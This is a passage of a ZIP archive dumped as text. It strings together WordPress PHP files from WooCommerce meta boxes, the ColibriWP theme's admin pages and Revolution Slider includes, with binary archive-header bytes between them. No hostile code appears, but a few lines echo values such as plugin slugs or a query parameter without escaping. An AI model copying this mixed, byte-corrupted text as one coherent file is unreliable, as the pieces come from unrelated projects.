						// if attachment is empty skip.
						if ( empty( $attachment ) ) {
							$update_meta = true;
							continue;
						}
						?>
						<li class="image" data-attachment_id="<?php echo esc_attr( $attachment_id ); ?>">
							<?php echo $attachment; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
							<ul class="actions">
								<li><a href="#" class="delete tips" data-tip="<?php esc_attr_e( 'Delete image', 'woocommerce' ); ?>"><?php esc_html_e( 'Delete', 'woocommerce' ); ?></a></li>
							</ul>
							<?php
							// Allow for extra info to be exposed or extra action to be executed for this attachment.
							do_action( 'woocommerce_admin_after_product_gallery_item', $thepostid, $attachment_id );
							?>
						</li>
						<?php

						// rebuild ids to be saved.
						$updated_gallery_ids[] = $attachment_id;
					}

					// need to update product meta to set new gallery ids
					if ( $update_meta ) {
						update_post_meta( $post->ID, '_product_image_gallery', implode( ',', $updated_gallery_ids ) );
					}
				}
				?>
			</ul>

			<input type="hidden" id="product_image_gallery" name="product_image_gallery" value="<?php echo esc_attr( implode( ',', $updated_gallery_ids ) ); ?>" />

		</div>
		<p class="add_product_images hide-if-no-js">
			<a href="#" data-choose="<?php esc_attr_e( 'Add images to product gallery', 'woocommerce' ); ?>" data-update="<?php esc_attr_e( 'Add to gallery', 'woocommerce' ); ?>" data-delete="<?php esc_attr_e( 'Delete image', 'woocommerce' ); ?>" data-text="<?php esc_attr_e( 'Delete', 'woocommerce' ); ?>"><?php esc_html_e( 'Add product gallery images', 'woocommerce' ); ?></a>
		</p>
		<?php
	}

	/**
	 * Save meta box data.
	 *
	 * @param int     $post_id
	 * @param WP_Post $post
	 */
	public static function save( $post_id, $post ) {
		$product_type   = empty( $_POST['product-type'] ) ? WC_Product_Factory::get_product_type( $post_id ) : sanitize_title( stripslashes( $_POST['product-type'] ) );
		$classname      = WC_Product_Factory::get_product_classname( $post_id, $product_type ? $product_type : 'simple' );
		$product        = new $classname( $post_id );
		$attachment_ids = isset( $_POST['product_image_gallery'] ) ? array_filter( explode( ',', wc_clean( $_POST['product_image_gallery'] ) ) ) : array();

		$product->set_gallery_image_ids( $attachment_ids );
		$product->save();
	}
}
PK�3\�P��WW,meta-boxes/class-wc-meta-box-order-notes.phpnu�[���<?php
/**
 * Order Notes
 *
 * @package WooCommerce\Admin\Meta Boxes
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WC_Meta_Box_Order_Notes Class.
 */
class WC_Meta_Box_Order_Notes {

	/**
	 * Output the metabox.
	 *
	 * @param WP_Post $post Post object.
	 */
	public static function output( $post ) {
		global $post;

		$args = array(
			'order_id' => $post->ID,
		);

		$notes = wc_get_order_notes( $args );

		include __DIR__ . '/views/html-order-notes.php';
		?>
		<div class="add_note">
			<p>
				<label for="add_order_note"><?php esc_html_e( 'Add note', 'woocommerce' ); ?> <?php echo wc_help_tip( __( 'Add a note for your reference, or add a customer note (the user will be notified).', 'woocommerce' ) ); ?></label>
				<textarea type="text" name="order_note" id="add_order_note" class="input-text" cols="20" rows="5"></textarea>
			</p>
			<p>
				<label for="order_note_type" class="screen-reader-text"><?php esc_html_e( 'Note type', 'woocommerce' ); ?></label>
				<select name="order_note_type" id="order_note_type">
					<option value=""><?php esc_html_e( 'Private note', 'woocommerce' ); ?></option>
					<option value="customer"><?php esc_html_e( 'Note to customer', 'woocommerce' ); ?></option>
				</select>
				<button type="button" class="add_note button"><?php esc_html_e( 'Add', 'woocommerce' ); ?></button>
			</p>
		</div>
		<?php
	}
}
PK�3\.�LL:meta-boxes/class-wc-meta-box-product-short-description.phpnu�[���<?php
/**
 * Product Short Description
 *
 * Replaces the standard excerpt box.
 *
 * @package     WooCommerce\Admin\Meta Boxes
 * @version     2.1.0
 */

defined( 'ABSPATH' ) || exit;

/**
 * WC_Meta_Box_Product_Short_Description Class.
 */
class WC_Meta_Box_Product_Short_Description {

	/**
	 * Output the metabox.
	 *
	 * @param WP_Post $post Post object.
	 */
	public static function output( $post ) {

		$settings = array(
			'textarea_name' => 'excerpt',
			'quicktags'     => array( 'buttons' => 'em,strong,link' ),
			'tinymce'       => array(
				'theme_advanced_buttons1' => 'bold,italic,strikethrough,separator,bullist,numlist,separator,blockquote,separator,justifyleft,justifycenter,justifyright,separator,link,unlink,separator,undo,redo,separator',
				'theme_advanced_buttons2' => '',
			),
			'editor_css'    => '<style>#wp-excerpt-editor-container .wp-editor-area{height:175px; width:100%;}</style>',
		);

		wp_editor( htmlspecialchars_decode( $post->post_excerpt, ENT_QUOTES ), 'excerpt', apply_filters( 'woocommerce_product_short_description_editor_settings', $settings ) );
	}
}
PK�3\��k220meta-boxes/class-wc-meta-box-order-downloads.phpnu�[���<?php
/**
 * Order Downloads
 *
 * @author      WooThemes
 * @category    Admin
 * @package     WooCommerce\Admin\Meta Boxes
 * @version     2.1.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

/**
 * WC_Meta_Box_Order_Downloads Class.
 */
class WC_Meta_Box_Order_Downloads {

	/**
	 * Output the metabox.
	 *
	 * @param WP_Post $post
	 */
	public static function output( $post ) {
		?>
		<div class="order_download_permissions wc-metaboxes-wrapper">

			<div class="wc-metaboxes">
				<?php
				$data_store           = WC_Data_Store::load( 'customer-download' );
				$download_permissions = $data_store->get_downloads(
					array(
						'order_id' => $post->ID,
						'orderby'  => 'product_id',
					)
				);

				$product      = null;
				$loop         = 0;
				$file_counter = 1;

				if ( $download_permissions && sizeof( $download_permissions ) > 0 ) {
					foreach ( $download_permissions as $download ) {
						if ( ! $product || $product->get_id() !== $download->get_product_id() ) {
							$product      = wc_get_product( $download->get_product_id() );
							$file_counter = 1;
						}

						// don't show permissions to files that have since been removed.
						if ( ! $product || ! $product->exists() || ! $product->has_file( $download->get_download_id() ) ) {
							continue;
						}

						// Show file title instead of count if set.
						$file       = $product->get_file( $download->get_download_id() );
						$file_count = isset( $file['name'] ) ? $file['name'] : sprintf( __( 'File %d', 'woocommerce' ), $file_counter );

						include __DIR__ . '/views/html-order-download-permission.php';

						$loop++;
						$file_counter++;
					}
				}
				?>
			</div>

			<div class="toolbar">
				<p class="buttons">
					<select id="grant_access_id" class="wc-product-search" name="grant_access_id[]" multiple="multiple" style="width: 400px;" data-placeholder="<?php esc_attr_e( 'Search for a downloadable product&hellip;', 'woocommerce' ); ?>" data-action="woocommerce_json_search_downloadable_products_and_variations"></select>
					<button type="button" class="button grant_access">
						<?php _e( 'Grant access', 'woocommerce' ); ?>
					</button>
				</p>
				<div class="clear"></div>
			</div>

		</div>
		<?php
	}

	/**
	 * Save meta box data.
	 *
	 * @param int     $post_id
	 * @param WP_Post $post
	 */
	public static function save( $post_id, $post ) {
		if ( isset( $_POST['permission_id'] ) ) {
			$permission_ids      = $_POST['permission_id'];
			$downloads_remaining = $_POST['downloads_remaining'];
			$access_expires      = $_POST['access_expires'];
			$max                 = max( array_keys( $permission_ids ) );

			for ( $i = 0; $i <= $max; $i ++ ) {
				if ( ! isset( $permission_ids[ $i ] ) ) {
					continue;
				}
				$download = new WC_Customer_Download( $permission_ids[ $i ] );
				$download->set_downloads_remaining( wc_clean( $downloads_remaining[ $i ] ) );
				$download->set_access_expires( array_key_exists( $i, $access_expires ) && '' !== $access_expires[ $i ] ? strtotime( $access_expires[ $i ] ) : '' );
				$download->save();
			}
		}
	}
}
PK#P3\[t��!!get-started.phpnu�[���<?php

use ColibriWP\Theme\PluginsManager;
use ColibriWP\Theme\Translations;

$colibriwp_is_builder_installed = apply_filters( 'colibri_page_builder/installed', false );

wp_enqueue_script( 'updates' );

function colibriwp_get_setting_link( $setting ) {
    return esc_attr( colibriwp_theme()->getCustomizer()->getSettingQuickLink( $setting ) );
}

?>

<div class="colibri-get-started__container colibri-admin-panel">
    <div class="colibri-get-started__section">
        <h2 class="col-title colibri-get-started__section-title">
            <span class="colibri-get-started__section-title__icon dashicons dashicons-admin-plugins"></span>
            <?php Translations::escHtmlE( 'get_started_section_1_title' ); ?>
        </h2>
        <div class="colibri-get-started__content">


            <?php foreach ( colibriwp_theme()->getPluginsManager()->getPluginData() as $colibriwp_recommended_plugin_slug => $colibriwp_recommended_plugin_data ): ?>
                <?php
                $colibriwp_plugin_state = colibriwp_theme()->getPluginsManager()->getPluginState( $colibriwp_recommended_plugin_slug );
                $colibriwp_notice_type  = $colibriwp_plugin_state === PluginsManager::ACTIVE_PLUGIN ? 'blue' : '';
                if ( isset( $colibriwp_recommended_plugin_data['internal'] ) && $colibriwp_recommended_plugin_data['internal'] ) {
                    continue;
                }
                ?>
                <div 
				
					class="colibri-notice <?php echo esc_attr( $colibriwp_notice_type ); ?> plugin-card-<?php echo $colibriwp_recommended_plugin_slug;?>">
                    <div class="colibri-notice__header">
                        <h3 class="colibri-notice__title"><?php echo esc_html( colibriwp_theme()->getPluginsManager()->getPluginData( "{$colibriwp_recommended_plugin_slug}.name" ) ); ?></h3>
                        <div class="colibri-notice__action">
                            <?php if ( $colibriwp_plugin_state === PluginsManager::ACTIVE_PLUGIN ): ?>
                                <p class="colibri-notice__action__active"><?php Translations::escHtmlE( 'plugin_installed_and_active' ); ?> </p>
                            <?php else: ?>
                                <?php if ( $colibriwp_plugin_state === PluginsManager::INSTALLED_PLUGIN ): ?>
                                    <a class="button button-large colibri-plugin activate-now" 
										data-slug="<?php echo $colibriwp_recommended_plugin_slug;?>"
                                       href="<?php echo esc_url( colibriwp_theme()->getPluginsManager()->getActivationLink( $colibriwp_recommended_plugin_slug ) ); ?>">
                                        <?php Translations::escHtmlE( 'activate' ); ?>
                                    </a>
                                <?php else: ?>
                                    <a class="button button-large colibri-plugin install-now"
									   data-slug="<?php echo $colibriwp_recommended_plugin_slug;?>"
                                       href="<?php echo esc_url( colibriwp_theme()->getPluginsManager()->getInstallLink( $colibriwp_recommended_plugin_slug ) ); ?>">
                                        <?php Translations::escHtmlE( 'install' ); ?>
                                    </a>
                                <?php endif; ?>
                            <?php endif; ?>
                        </div>
                    </div>
                    <p class="colibri-notice__description"><?php echo esc_html( colibriwp_theme()->getPluginsManager()->getPluginData( "{$colibriwp_recommended_plugin_slug}.description" ) ); ?></p>


                </div>
            <?php endforeach; ?>
        </div>
    </div>
    <div class="colibri-get-started__section">
        <h2 class="colibri-get-started__section-title">
            <span class="colibri-get-started__section-title__icon dashicons dashicons-admin-appearance"></span>
            <?php Translations::escHtmlE( 'get_started_section_2_title' ); ?>
        </h2>
        <div class="colibri-get-started__content">
            <div class="colibri-customizer-option__container">
                <div class="colibri-customizer-option">
                    <span class="colibri-customizer-option__icon dashicons dashicons-format-image"></span>
                    <a class="colibri-customizer-option__label"
                       target="_blank"
                       href="<?php echo esc_url( colibriwp_get_setting_link( 'logo' ) ); ?>">
                        <?php Translations::escHtmlE( 'get_started_set_logo' ); ?>
                    </a>
                </div>
                <div class="colibri-customizer-option">
                    <span class="colibri-customizer-option__icon dashicons dashicons-format-image"></span>
                    <a class="colibri-customizer-option__label"
                       target="_blank"
                       href="<?php echo esc_url( colibriwp_get_setting_link( 'hero_background' ) ); ?>">
                        <?php Translations::escHtmlE( 'get_started_change_hero_image' ); ?>
                    </a>
                </div>
                <div class="colibri-customizer-option">
                    <span class="colibri-customizer-option__icon dashicons dashicons-menu-alt3"></span>
                    <a class="colibri-customizer-option__label"
                       target="_blank"
                       href="<?php echo esc_url( colibriwp_get_setting_link( 'navigation' ) ); ?>">
                        <?php Translations::escHtmlE( 'get_started_change_customize_navigation' ); ?>
                    </a>
                </div>
                <div class="colibri-customizer-option">
                    <span class="colibri-customizer-option__icon dashicons dashicons-layout"></span>
                    <a class="colibri-customizer-option__label"
                       target="_blank"
                       href="<?php echo esc_url( colibriwp_get_setting_link( 'hero_layout' ) ); ?>">
                        <?php Translations::escHtmlE( 'get_started_change_customize_hero' ); ?>
                    </a>
                </div>
                <div class="colibri-customizer-option">
                    <span class="colibri-customizer-option__icon dashicons dashicons-admin-appearance"></span>
                    <a class="colibri-customizer-option__label"
                       target="_blank"
                       href="<?php echo esc_url( colibriwp_get_setting_link( 'footer' ) ); ?>">
                        <?php Translations::escHtmlE( 'get_started_customize_footer' ); ?>
                    </a>
                </div>
                <?php if ( $colibriwp_is_builder_installed ): ?>
                    <div class="colibri-customizer-option">
                        <span class="colibri-customizer-option__icon dashicons dashicons-art"></span>
                        <a class="colibri-customizer-option__label"
                           target="_blank"
                           href="<?php echo esc_url( colibriwp_get_setting_link( 'color_scheme' ) ); ?>">
                            <?php Translations::escHtmlE( 'get_started_change_color_settings' ); ?>
                        </a>
                    </div>
                    <div class="colibri-customizer-option">
                        <span class="colibri-customizer-option__icon dashicons dashicons-editor-textcolor"></span>
                        <a class="colibri-customizer-option__label"
                           target="_blank"
                           href="<?php echo esc_url( colibriwp_get_setting_link( 'general_typography' ) ); ?>">
                            <?php Translations::escHtmlE( 'get_started_customize_fonts' ); ?>
                        </a>
                    </div>

                <?php endif; ?>
                <div class="colibri-customizer-option">
                    <span class="colibri-customizer-option__icon dashicons dashicons-menu-alt3"></span>
                    <a class="colibri-customizer-option__label"
                       target="_blank"
                       href="<?php echo esc_url( colibriwp_get_setting_link( 'menu' ) ); ?>">
                        <?php Translations::escHtmlE( 'get_started_set_menu_links' ); ?>
                    </a>
                </div>
            </div>
        </div>
    </div>
</div>
<?php



wp_print_request_filesystem_credentials_modal();
wp_print_admin_notice_templates();
PK#P3\�
jy��page.phpnu�[���<?php


use ColibriWP\Theme\Core\Hooks;
use ColibriWP\Theme\Translations;
use ColibriWP\Theme\View;

$colibriwp_tabs            = View::getData( 'tabs', array() );
$colibriwp_current_tab     = View::getData( 'current_tab', null );
$colibriwp_url             = View::getData( 'page_url', null );
$colibriwp_welcome_message = View::getData( 'welcome_message', null );
$colibriwp_tab_partial     = View::getData( "tabs.{$colibriwp_current_tab}.tab_partial", null );
Hooks::colibri_do_action( "before_info_page_tab_{$colibriwp_current_tab}" );
$colibri_slug = get_template() . "-page-info";
$colibri_get_started = array(
	'plugin_installed_and_active' => Translations::escHtml( 'plugin_installed_and_active' ),
	'activate' => Translations::escHtml( 'activate' ),
    'activating'                  => __( 'Activating', 'colibri-wp' ),
	'install_recommended' => isset($_GET['install_recommended']) ? $_GET['install_recommended'] :''
);

wp_localize_script( $colibri_slug , 'colibri_get_started', $colibri_get_started );
?>
<div class="colibri-admin-page wrap about-wrap full-width-layout mesmerize-page">

    <div class="colibri-admin-page--hero">
        <div class="colibri-admin-page--hero-intro colibri-admin-page-spacing ">
            <div class="colibri-admin-page--hero-logo">
                <img src="<?php echo esc_attr( colibriwp_theme()->getAssetsManager()->getBaseURL() . "/images/colibri-logo.png" ) ?>"
                     alt="logo"/>
            </div>
            <div class="colibri-admin-page--hero-text ">
                <?php if ( $colibriwp_welcome_message ): ?>
                    <h1><?php echo esc_html( $colibriwp_welcome_message ); ?></h1>
                <?php endif; ?>
            </div>
        </div>
        <?php if ( count( $colibriwp_tabs ) ): ?>
            <nav class="nav-tab-wrapper wp-clearfix">
                <?php foreach ( $colibriwp_tabs as $colibriwp_tab_id => $colibriwp_tab ) : ?>
                    <a class="nav-tab <?php echo ( $colibriwp_current_tab === $colibriwp_tab_id ) ? 'nav-tab-active' : '' ?>"
                       href="<?php echo esc_url( add_query_arg( array( 'current_tab' => $colibriwp_tab_id ),
                           $colibriwp_url ) ); ?>">
                        <?php echo esc_html( $colibriwp_tab['title'] ); ?>
                    </a>
                <?php endforeach; ?>
            </nav>
        <?php endif; ?>
    </div>
    <?php if ( $colibriwp_tab_partial ): ?>
        <div class="colibri-admin-page--body colibri-admin-page-spacing">
            <div class="colibri-admin-page--content">
                <div class="colibri-admin-page--tab">
                    <div class="colibri-admin-page--tab-<?php echo esc_attr( $colibriwp_current_tab ); ?>">
                        <?php View::make( $colibriwp_tab_partial,
                            Hooks::colibri_apply_filters( "info_page_data_tab_{$colibriwp_current_tab}",
                                array() ) ); ?>
                    </div>
                </div>

            </div>
            <div class="colibri-admin-page--sidebar">
                <?php View::make( 'admin/sidebar' ) ?>
            </div>
        </div>
    <?php endif; ?>
</div>


PK#P3\Y��,VVsidebar.phpnu�[���<?php

use ColibriWP\Theme\Core\Hooks;
use ColibriWP\Theme\Translations;

$colibriwp_info_page_support_link = Hooks::colibri_apply_filters( 'info_page_support_link',
    'https://colibriwp.com/#support' );

$colibriwp_info_page_review_link = Hooks::colibri_apply_filters( 'info_page_review_link',
    'https://wordpress.org/support/theme/' . get_template() . '/reviews/' );

$colibriwp_info_page_docs_link = Hooks::colibri_apply_filters( 'info_page_docs_link',
    'https://docs.colibriwp.com/' );

?>

<div class="colibri-admin-sidebar colibri-admin-panel">
    <?php Hooks::colibri_do_action('info_page_sidebar_before'); ?>
    <div class="colibri-admin-sidebar__section">
        <div class="colibri-admin-sidebar__section__title">
            <span class="colibri-admin-sidebar__section__icon dashicons dashicons-media-text"></span>
            <h2><?php Translations::escHtmlE( 'admin_sidebar_documentation_title' ); ?></h2>
        </div>

        <p class="colibri-admin-sidebar__section__description">
            <?php Translations::escHtmlE( 'admin_sidebar_documentation_description' ); ?>
        </p>
        <a href="<?php echo esc_url( $colibriwp_info_page_docs_link ); ?>" target="_blank"
           class="button button-primary">
            <?php Translations::escHtmlE( 'admin_sidebar_documentation_action' ); ?>
        </a>
    </div>
    <div class="colibri-admin-sidebar__section">
        <div class="colibri-admin-sidebar__section__title">
            <span class="colibri-admin-sidebar__section__icon dashicons dashicons-sos"></span>
            <h2><?php Translations::escHtmlE( 'admin_sidebar_support_title' ); ?></h2>
        </div>
        <p class="colibri-admin-sidebar__section__description">
            <?php Translations::escHtmlE( 'admin_sidebar_support_description' ); ?>
        </p>
        <a href="<?php echo esc_url( $colibriwp_info_page_support_link ); ?>" target="_blank"
           class="button button-primary">
            <?php Translations::escHtmlE( 'admin_sidebar_support_action' ); ?>
        </a>
    </div>
    <?php Hooks::colibri_do_action('info_page_sidebar_after'); ?>
</div>
PK#P3\���RRadmin-notice.phpnu�[���<?php

use ColibriWP\Theme\Core\Hooks;
use ColibriWP\Theme\Defaults;

$colibriwp_front_page_designs = array();

$default_front_page_designs =   array(

    array(
        'name'  =>  __("Modern", 'colibri-wp'),
        "index" => 3,
        "meta"  => array(
            "slug"    => "modern",
            "version" => "v2"
        )
    ),

    array(
        'name'    =>  __("Modern", 'colibri-wp'),
        "index"   => 3,
        "display" => false,
        "meta"    => array(
            "slug"    => "modern",
            "version" => "v1"
        )
    ),

    array(
        'name'  => __("Classic",'colibri-wp'),
        "index" => 2,
        "meta"  => array(
            "slug"    => "classic",
            "version" => "v1"
        )
    ),

    array(
        'name'  =>  __("Fullscreen", 'colibri-wp'),
        "index" => 1,
        "meta"  => array(
            "slug"    => "fullscreen",
            "version" => "v1"
        )
    ),
);
foreach ( $default_front_page_designs as $colibriwp_current_design ) {
    if ( \ColibriWP\Theme\Core\Utils::pathGet( $colibriwp_current_design, 'display', true ) ) {
        $colibriwp_front_page_designs[] = $colibriwp_current_design;
    }
}

?>

<div class="colibri-admin-big-notice--container">
    <div class="logo-holder">
        <h2><?php \ColibriWP\Theme\Translations::escHtmlE( 'start_with_a_front_page' ); ?></h2>
    </div>
    <div class="content-holder">
        <ul class="predefined-front-pages">
            <?php foreach ( $colibriwp_front_page_designs as $colibriwp_design_index => $colibriwp_current_design ): ?>
                <?php $colibriwp_design_selected = $colibriwp_design_index === 0 ? 'selected' : ''; ?>
                <li data-index="<?php echo esc_attr( $colibriwp_current_design['index'] ); ?>"
                    class="<?php echo esc_attr( $colibriwp_design_selected ); ?>">
                    <div class="predefined-front-page-card">
                        <div class="front-page-design-wrapper">
                            <div class="selected-badge"></div>
                            <?php $colibriwp_front_page_design_image_url = Hooks::colibri_apply_filters(
                                'front_page_design_screenshot_url',
                                colibriwp_theme()->getAssetsManager()->getBaseURL() . "/images/front-page-{$colibriwp_current_design['index']}.jpg",
                                $colibriwp_current_design
                            ); ?>
                            <div class="design-preview-image"
                                 style="background-image: url(<?php echo esc_attr( $colibriwp_front_page_design_image_url ); ?>)"
                            ></div>
                        </div>
                        <div class="predefined-front-page-card-footer">
                            <h3 class="design-title">
                                <?php echo esc_html( $colibriwp_current_design['name'] ); ?>
                            </h3>
                        </div>
                    </div>
                </li>
            <?php endforeach; ?>
        </ul>
    </div>
    <div class="content-footer ">
        <div class="action-buttons">
            <button class="button button-primary button-hero start-with-predefined-design-button">
                <?php \ColibriWP\Theme\Translations::escHtmlE( 'start_with_selected_page' ); ?>
            </button>
            <span class="or-separator"><?php \ColibriWP\Theme\Translations::escHtmlE( 'or' ); ?> </span>
            <button class="button button-hero view-all-demos">
                <?php \ColibriWP\Theme\Translations::escHtmlE( 'check_all_demo_sites_page' ); ?>
            </button>
        </div>
        <div>
            <div class="plugin-notice">
                <span class="spinner"></span>
                <span class="message"></span>
            </div>
        </div>
        <div>
            <p class="description large-text"><?php \ColibriWP\Theme\Translations::escHtmlE( 'start_with_a_front_page_plugin_info' ); ?></p>
        </div>
    </div>
    <script type="text/javascript">
        <?php
        $colibriwp_builder_slug = Hooks::colibri_apply_filters( 'plugin_slug', 'colibri-page-builder' );

        $colibriwp_builder_status = array(
            "status"         => colibriwp_theme()->getPluginsManager()->getPluginState( $colibriwp_builder_slug ),
            "install_url"    => colibriwp_theme()->getPluginsManager()->getInstallLink( $colibriwp_builder_slug ),
            "activate_url"   => colibriwp_theme()->getPluginsManager()->getActivationLink( $colibriwp_builder_slug ),
            "slug"           => $colibriwp_builder_slug,
            "view_demos_url" => add_query_arg(
                array(
                    'page'        => 'colibri-wp-page-info',
                    'current_tab' => 'demo-import'
                ),
                admin_url( 'themes.php' )
            ),
            'colibriwp_front_set_predesign_nonce' =>  wp_create_nonce( 'colibriwp_front_set_predesign_nonce' ),
            'colibriwp_disable_big_notice_nonce' => wp_create_nonce( 'colibriwp_disable_big_notice_nonce' ),
            'colibri_plugin_install_activate_nonce' => wp_create_nonce( 'colibri_plugin_install_activate_nonce' ),
            "messages"       => array(
                "installing" => \ColibriWP\Theme\Translations::get( 'installing',
                    'Colibri Page Builder' ),
                "activating" => \ColibriWP\Theme\Translations::get( 'activating',
                    'Colibri Page Builder' )
            ),
        ); ?>
        var colibriwp_builder_status = <?php echo wp_json_encode( $colibriwp_builder_status ); ?>;
    </script>
</div>
PK�y3\�[��includes/newsletter.class.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 * @version   1.0.0
 */
 
if(!defined('ABSPATH')) exit();

if(!class_exists('ThemePunch_Newsletter')) {
	 
	class ThemePunch_Newsletter {
	
		protected static $remote_url	= 'http://newsletter.themepunch.com/';
		protected static $subscribe		= 'subscribe.php';
		protected static $unsubscribe	= 'unsubscribe.php';
		
		public function __construct(){
			
		}
		
		
		/**
		 * Subscribe to the ThemePunch Newsletter
		 * @since: 1.0.0
		 **/
		public static function subscribe($email){
			global $wp_version;
			
			$request = wp_remote_post(self::$remote_url.self::$subscribe, array(
				'user-agent' => 'WordPress/'.$wp_version.'; '.get_bloginfo('url'),
				'timeout' => 15,
				'body' => array(
					'email' => urlencode($email)
				)
			));
			
			if(!is_wp_error($request)) {
				if($response = json_decode($request['body'], true)) {
					if(is_array($response)) {
						$data = $response;
						
						return $data;
					}else{
						return false;
					}
				}
			}
		}
		
		
		/**
		 * Unsubscribe to the ThemePunch Newsletter
		 * @since: 1.0.0
		 **/
		public static function unsubscribe($email){
			global $wp_version;
			
			$request = wp_remote_post(self::$remote_url.self::$unsubscribe, array(
				'user-agent' => 'WordPress/'.$wp_version.'; '.get_bloginfo('url'),
				'timeout' => 15,
				'body' => array(
					'email' => urlencode($email)
				)
			));
			
			if(!is_wp_error($request)) {
				if($response = json_decode($request['body'], true)) {
					if(is_array($response)) {
						$data = $response;
						
						return $data;
					}else{
						return false;
					}
				}
			}
		}
		
	}
}PK�y3\-�Da��includes/folder.class.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 * @since	  6.0
 */

if(!defined('ABSPATH')) exit();

class RevSliderFolder extends RevSliderSlider {
	
	public $folder = false;
	
	/**
	 * Initialize A slider as a Folder
	 **/
	public function init_folder_by_id($id){
		global $wpdb;
		
		$folder = $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE `id` = %s AND `type` = 'folder'", $id), ARRAY_A);
		
		if(!empty($folder)){
			$this->id		= $this->get_val($folder, 'id');
			$this->title	= $this->get_val($folder, 'title');
			$this->alias	= $this->get_val($folder, 'alias');
			$this->settings = (array)json_decode($this->get_val($folder, 'settings', ''));
			$this->params	= (array)json_decode($this->get_val($folder, 'params', ''));
			$this->folder	= true;
			return true;
		}else{
			return false;
		}
	}
	
	
	/**
	 * Get all Folders from the Slider Table
	 **/
	public function get_folders(){
		global $wpdb;
		
		$folders = array();
		$entries = $wpdb->get_results("SELECT `id` FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE `type` = 'folder'", ARRAY_A);
		
		if(!empty($entries)){
			foreach($entries as $folder){
				$slider		= new RevSliderFolder();
				$folder_id	= $this->get_val($folder, 'id');
				$slider->init_folder_by_id($folder_id);
				
				$folders[] = $slider;
			}
		}
		
		return $folders;
	}
	
	
	/**
	 * Get all Folders from the Slider Table
	 **/
	public function get_folder_by_id($id){
		global $wpdb;
		
		$folder = $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE `type` = 'folder' AND `id` = %s", $id), ARRAY_A);
		
		return $folder;
	}
	
	
	/**
	 * Create a new Slider as a Folder
	 **/
	public function create_folder($alias = 'New Folder', $parent = 0){
		global $wpdb;
		
		$title  = esc_html($alias);
		$alias  = sanitize_title($title);
		$temp	= $title;
		$folder = false;
		$ti		= 1;
		while($this->alias_exists($alias)){ //set a new alias and title if its existing in database
			$title = $temp . ' ' . $ti;
			$alias = sanitize_title($title);
			$ti++;
		}
		
		//check if Slider with title and/or alias exists, if yes change both to stay unique
		$done = $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_SLIDER, array('title' => $title, 'alias' => $alias, 'type' => 'folder'));
		if($done !== false){
			$this->init_folder_by_id($wpdb->insert_id);
			$folder = $this;
			if(intval($parent) > 0){
				$slider		= new RevSliderFolder();
				$slider->init_folder_by_id($parent);
				$children	= $slider->get_children();
				$children	= (!is_array($children)) ? array() : $children;
				$children[] = $this->get_id();
				$slider->add_slider_to_folder($children, $parent);
			}
		}
		
		return $folder;
	}
	
	
	/**
	 * Add a Slider ID to a Folder
	 **/
	public function add_slider_to_folder($children, $folder_id, $replace_all = true){
		global $wpdb;
		$response	= false;
		$folder		= $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE `id` = %s AND `type` = 'folder'", $folder_id), ARRAY_A);
		
		if(!empty($folder)){
			$settings = json_decode($this->get_val($folder, 'settings'), true);
			if(!isset($settings['children'])){
				$settings['children'] = array();
			}
			
			if($replace_all){
				$settings['children'] = $children;
			}else{
				$children = (array)$children;
				if(!empty($children)){
					foreach($children as $child){
						if(!in_array($child, $settings['children'])){
							$settings['children'][] = $child;
						}
					}
				}
			}
			$response = $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_SLIDER, array('settings' => json_encode($settings)), array('id' => $folder_id));
			$response = ($response == false && empty($wpdb->last_error)) ? true : $response;
		}
		
		return $response;
	}
	
	
	/**
	 * Get the Children of the folder (if any exist)
	 **/
	public function get_children(){
		return $this->get_val($this->settings, 'children', array());
	}
	
	/**
	 * Get the Children of the folder (if any exist)
	 * @since: 6.1.4
	 **/
	public function set_children($children){
		return $this->set_val($this->settings, 'children', $children);
	}
}PK�y3\�«includes/tooltips.class.phpnu�[���<?php
/**
* @author    ThemePunch <info@themepunch.com>
* @link      https://www.themepunch.com/
* @copyright 2019 ThemePunch
*/

if(!defined('ABSPATH')) exit();

class RevSliderTooltips {

	public static function getTooltips() {

		$translations = array(
			
			'docs' => __('Docs', 'revslider'),
			'next_tip' => __('Next Tip'),
			'got_it' => __('Got It'),
			'hide_tips' => __("Don't show tooltips again")

		);
			
		$tooltips = array(
		
			'help_mode' => array(
			
				'title' => 'Help Mode',
				'target' => '.help_wrap',
				'alignment' => 'bottom',
				'margin' => '20px 0 0 0',
				'text' => 'Get information about the different options available for your Slider',
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/help-center/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=faq'
				
			),
			'slides' => array(
			
				'title' => 'Add Slide',
				'target' => '#add_slide_toolbar_wrap',
				'alignment' => 'bottom',
				'margin' => '20px 0 0 0',
				'text' => "Add new Slides, reorder your current Slides and manage the Module's global content",
				'linkText' => 'Learn More',
				'link' => 'https://www.sliderrevolution.com/documentation/slide-management/'
				
			),
			'add_layer' => array(
			
				'title' => 'Add Layer',
				'target' => '#add_layer_toolbar_wrap',
				'alignment' => 'bottom',
				'margin' => '20px 0 0 0',
				'text' => 'Add new content to the currently active Slide'
				
			),
			'tooltip_button' => array(
			
				'title' => 'Tooltip Button',
				'target' => '.tooltip_wrap',
				'alignment' => 'bottom',
				'margin' => '20px 0 0 0',
				'text' => 'Enable the tooltip wizard for a quick overview of the editor'
				
			),
			'undo_redo' => array(
			
				'title' => 'Undo Redo',
				'target' => '.undo_redo_wrap',
				'alignment' => 'bottom',
				'margin' => '20px 0 0 0',
				'text' => "Undo or redo changes you've made while using the editor"
				
			),
			'quick_style' => array(
			
				'title' => 'Quick Style Layer',
				'target' => '#quick_style_trigger',
				'alignment' => 'bottom',
				'margin' => '20px 0 0 0',
